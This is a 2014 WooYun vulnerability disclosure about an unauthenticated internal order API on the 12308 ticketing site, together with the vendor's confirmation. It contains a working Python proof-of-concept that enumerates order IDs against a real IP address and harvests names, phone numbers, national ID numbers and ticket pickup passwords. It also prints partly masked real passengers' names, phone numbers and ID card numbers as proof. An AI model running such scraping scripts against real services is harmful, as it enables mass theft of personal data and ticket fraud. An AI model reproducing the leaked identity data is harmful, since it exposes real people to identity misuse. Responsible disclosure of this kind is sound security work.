当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082280

漏洞标题:12308某内部接口暴露导致全部订单信息泄露(或能免费坐车)-附POC

相关厂商:深圳市一二三零八网络科技有限公司

漏洞作者: M4ster

提交时间:2014-11-06 19:16

修复时间:2014-12-21 19:22

公开时间:2014-12-21 19:22

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-06: 细节已通知厂商并且等待厂商处理中
2014-11-07: 厂商已经确认,细节仅向厂商公开
2014-11-17: 细节向核心白帽子及相关领域专家公开
2014-11-27: 细节向普通白帽子公开
2014-12-07: 细节向实习白帽子公开
2014-12-21: 细节向公众公开

简要描述:

内部接口对外开放,可以不通过验证读取任意订单信息。
读取到的信息涉及身份证、手机号码、列车车次、支付状态、取票密码等重要敏感信息。
提交订单后无论是否支付都已生成订单和取票密码,理论可以通过取票密码到终端机直接取票,从而实现不付款刷票。

详细说明:

#1、提交一个订单

8B8C2B91-8ECF-4D5C-BAA0-33ED73DC9A9C.png


#2、通过访问“我的订单”获取到了订单编号

E31E914E-EB12-481F-8E37-C9FFE747E9C9.png


#3、orderid的参数改为内部编号读取信息

7D811B15-2827-4637-AFAE-D7EACF7BF177.png


#4 通过内部接口测试获取其他订单的信息

CB730C28-8FD3-49E3-847D-D7ADAEEEFA86.png


#5 批量获取
如下。

漏洞证明:

mask 区域
*****^^*****
*****露无^*****
*****帮助,奖励物^*****
*****^^明下安^*****


POC:

import threadpool
import requests
import re
import os
import sys
THREAD = 5
RESULT_FILE = "result.txt"
def start(n):
resultHtml = requests.get("http://121.199.72.197:8787/ws_test/conf/method_getServiceData.action?methodId=getOrderAdmin&orderId={0}&queryType=0".format(n)).text;
return resultHtml
def processingResults(request,resultHtml):
try:
FILE.write("{0}:{1}".format("用户ID",re.findall("<userId>(.*)</userId>",resultHtml)[0].encode("utf-8")));
FILE.write("{0}:{1}".format(",订单编号",re.findall("<orderNo>(.*)</orderNo>",resultHtml)[0].encode("utf-8")));
FILE.write("{0}:{1}".format(",用户名",re.findall("<userName>(.*)</userName>",resultHtml)[0].encode("utf-8")));
FILE.write("{0}:{1}".format(",手机号码",re.findall("<mobilePhone>(.*)</mobilePhone>",resultHtml)[0].encode("utf-8")));
FILE.write("{0}:{1}".format(",身份证",re.findall("<certificateNo>(.*)</certificateNo>",resultHtml)[0].encode("utf-8")));
FILE.write("{0}:{1}".format(",取票号",re.findall("<bookLogAID>(.*)</bookLogAID>",resultHtml)[0].encode("utf-8")));
FILE.write("{0}:{1}".format(",取票密码",re.findall("<ticketPassword>(.*)</ticketPassword>",resultHtml)[0].encode("utf-8")));
FILE.write("{0}:{1}".format(",始发站",re.findall("<startStationName>(.*)</startStationName>",resultHtml)[0].encode("utf-8")));
FILE.write("{0}:{1}".format(",终点站",re.findall("<endStationName>(.*)</endStationName>",resultHtml)[0].encode("utf-8")));
FILE.write("{0}:{1}".format(",车次",re.findall("<scheduleCode>(.*)</scheduleCode>",resultHtml)[0].encode("utf-8")));
FILE.write("-------".join(os.linesep))

except IndexError:
print "not found"

if len(sys.argv) < 3:
print 'usage: python work.py <orderIdStart> <orderIdStop>'
print 'demo: python wordk 686469 686472'
exit()
FILE = open(RESULT_FILE,"a");
pool = threadpool.ThreadPool(THREAD)
reqs = threadpool.makeRequests(start,range(int(sys.argv[1]),int(sys.argv[2])),processingResults)
[pool.putRequest(req) for req in reqs]
pool.wait()
FILE.close()


修复方案:

读取了部分数据,仅为证明漏洞存在,本地未做任何保留。

06DA5CF7-F8D0-4723-A662-8D616C576C55.png


mask 区域
*****^,车次:PT0106用户ID:552697,订单编号:0214123081298766,用户名:华莎,手机号码:1396173028*****
*****--*****
*****^:330424199502140020,取票号:123082630210,取票*****
*****--*****
*****^:320223197803257814,取票号:123081298767,取票*****
*****--*****
*****:20141103155121247,用户名:孙守军,手机号码:15808798709,身份证:51152619950223381X用户ID:571486,订单编号:0514123082630*****
*****--*****
*****,身份证:420202196705111237用户ID:565945,订单编号:0514123082630260,用户名:洪韦,手机号码*****
*****--*****
*****^:320282199601170816,取票号:123082630264,取票*****
*****--*****
*****08219890925002X,取票号:123082630266,取票密码*****
*****--*****
*****^:421083199001054977,取票号:123082630272,取票*****
*****--*****
*****123082630278,用户名:沐凯,手机号码:18862196954,身份证:321284199604*****
*****--*****
*****2198305110058,取票号:123081018869,取票密码:78*****
*****--*****
*****0624196901089088,取票号:123089559190,取票密码*****
*****--*****
*****:320682199008037952,取票号:123089559191,取票*****
*****--*****
*****123082630310,用户名:李杰,手机号码:13957739560,身份证:3303221989060*****
*****--*****
*****^:321283199301154627,取票号:123082630311,取票*****
*****--*****
*****^:513721197909033790,取票号:123082630321,取票*****
*****--*****
*****2721199101222243,取票号:123082630327,取票密码*****
*****--*****
*****^:320113199003282414,取票号:123089559195,取票*****
*****--*****
*****^:460022198912313713,取票号:123082630334,取票*****
*****--*****
*****123082630341,用户名:方建美,手机号码:15858202803,身份证:330127198*****
*****--*****
*****^:321023198912026227,取票号:123082630351,取票*****
*****--*****
*****^:320923197310211234,取票号:123081298782,取票*****
*****--*****
*****^:320483198503258219,取票号:123082583901,取票*****
*****--*****
*****^:320324198909065438,取票号:123082630369,取票*****
*****--*****
*****512324198104146318,取票号:123082630372,取票密*****
*****--*****
*****订单编号:0414123082583905,用户名:徐浩,手机号码:13861272765,身份证:32*****
*****--*****
*****^:320682199101013277,取票号:123082630390,取票*****
*****--*****
*****^:372929199010016523,取票号:123082630392,取票*****
*****--*****
*****^:330125197905213221,取票号:123089559205,取票*****
*****--*****
*****0202199108155414,取票号:123089559206,取票密码*****
*****--*****
*****^:330326198407015654,取票号:123082630400,取票*****
*****--*****
*****29006198709157912,取票号:123082630403,取票密*****
*****--*****
*****:32061119581101182X,取票号:123089559209,取票*****
*****--*****
*****:320113197001192483,取票号:123081298789,取票*****
*****--*****
*****^:411403198910108446,取票号:123089559211,取票*****
*****--*****
*****^:320504197002272026,取票号:123082630421,取票*****
*****--*****
*****^:320602195706294059,取票号:123089559212,取票*****
*****--*****

版权声明:转载请注明来源 M4ster@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-11-07 09:30

厂商回复:

1.查询接口没有权限校验,用户弱密码问题已修复。
2.取票密码是预生成,不付款是不会发生订单生效的。
感谢M4ster

最新状态:

暂无